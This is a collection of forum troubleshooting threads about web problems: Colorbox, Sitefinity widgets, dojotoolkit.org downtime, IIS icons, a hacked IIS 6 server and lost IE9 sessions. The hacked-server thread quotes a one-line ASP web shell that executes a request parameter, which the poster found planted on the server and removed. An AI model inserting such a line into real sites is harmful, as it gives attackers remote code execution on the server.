Colorbox stopped working - colorbox

I recently have an issue with colorbox. After moving the site in different server (cloud) the functionality of opening a link with colorbox, stopped working. The files are the same and I have not changed anything.
Do you have any suggestions? Is there any server compatibility that I have to look around?
Thanks in advance,
Penny.

Colorbox, and all jQuery and Javascript scripts for that matter, are client-based. This means it is the client (the visitor's computer) who does all the work. The server has absolutely nothing to do with them. This being said, the answer of to your questions is: no. There are no know (or even unknown) compatibility issues with colorbox and any time of server.
So, more than likely something went wrong with your files when you migrated to your new server.

Related

Any ideas on why a template/widget wouldn't update on the development site? It works on my local machine

I have a widget and a page layout that are not working as they should on the development server. The development server is hosted on Azure. On my local machine, it is working properly. I'm at a lost on what the issue is.
Does anyone have any suggestions on what to check/test? Is there any way I could test/debug this better?
I reached out to Sitefinity to support and they pointed me in the right direction. I inadvertently had the wrong namespace in the widget. Unfortunately, the widget didn't display an error message. I had to go to the log files to find the issue.

Why is dojotoolkit.org suspended?

When I go to https://dojotoolkit.org/, I get, "Unable to connect". In some browsers I get "You have reached a domain that is pending ICANN verification".
I've used a number of dojo libraries in my code. Does anyone know what happened to the owner and whether this is likely to be fixed in the near future?
If it isn't fixed, what is my best option for replacing it?
This seems to be a temporary administrative DNS issue, based on their Twitter response:
We apologize for the issues accessing the Dojo 1 web site. We’re
working on it as fast as possible. In the mean time, you can add the
IP address directly to /etc/hosts. 104.16.205.241
There are also some workarounds on the dojo gitter.im channel:
Reference guide content is also at https://github.com/dojo/docs/ And
tutorials are at
https://github.com/dojo/dojo-website/tree/master/src/documentation/tutorials
Also, as mentioned in this related question, you can use the Archive.org Wayback Machine.
The site now appears to be back up. I was able to access it and get information on features I'm using.

IIS Remote Manager is missing icons for a specific site

I have a developer that came to me with and issue. He is remotely managing one of his sites on one of our development servers and all of a sudden he lost all of the icons in IIS for this specific site..
All other sites display his icons correctly and when I have him test on another computer everything displays correctly.. So what could have gone wrong on his machine? It was working but is now not working.. Any help here would be greatly appreciated.. Never seen this before and cant seem to figure out what caused it to just go away.. There should be so many more options for him.. Plus if you can see he lost the ability to see the folders on this site also.. And it is every site on this server.. But like I said it is just on his computer, he goes to a different computer he has access to everything..
Guess I cant post a picture.. But if you need to see it I can send it to you if you need to see what I am talking about..
Come to find out he was ignoring the prompt that he was getting saying that there were new versions of the tools to download on his machine that are on the server.. He just hit Cancel instead of selecting them and hitting ok to install the DLL's and enabling them.

I think ive been hacked and looking for advice

One of my clients noticed a message in google search results that said their website may have been hacked. After some digging, I found html files on the server that contained seo garbage and javascript references. I removed those files, change cms passwords, updated some components like CKFinder, etc...
I then started looking into other sites on the server and found tons of .asp files with this line
<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile
I've removed those but do not know how they got there. I've looked through various logs (event viewer, website, ftp) but most don't go back far enough from when the files were created.
I've updated the OS, which was only a month or two out of date, and changed ftp access.
What else can I do to find the point of entry or make sure my server and sites are safe?
BTW: This is a windows 2003 server running IIS 6.0.
There is multiple ways that they may have gotten access to your server.
Are you running a common CMS or custom?
It could be possible that they have found a vulnerability in one of your scripts.
for example if they found a SQL injection vulnerability they could retrive database information.
if they where to find a RCE bug (remote code execution) they maybe have been able to execute system commands leading to the creating of those arbitrary files.
Other than that, there are a few vulnerabilities in windows server that have been patched this week, check out this link :
http://blog.spiderlabs.com/2014/02/microsoft-patch-tuesday-february-2014.html

Losing session Item

I have a website that when I browse from IE9 it loses Session item. This does not happen when using vs to test. This is happening on my pc and on the server where I have it deployed but works from other pcs. I have deleted all cashed pages and have tried multiple logons. So for the last 6 hours I have been banging my head against a wall.
Works when you browse to the site by the ip. Any ideas?
Do you have cookies enable on your PC.
Seem to recall I had a similar problem.
If cookies are not enabled then the session variables does not work.
http://forums.asp.net/t/1804941.aspx/1?Session+Variables+make+use+of+cookies+
Answer provided by Jason Akin (original asker):
Issue was caused by an underscore in the host name. Evidently this is not something you should do. Took a while to figure this out. Well leason learned.
Hopefully this will help someone else out.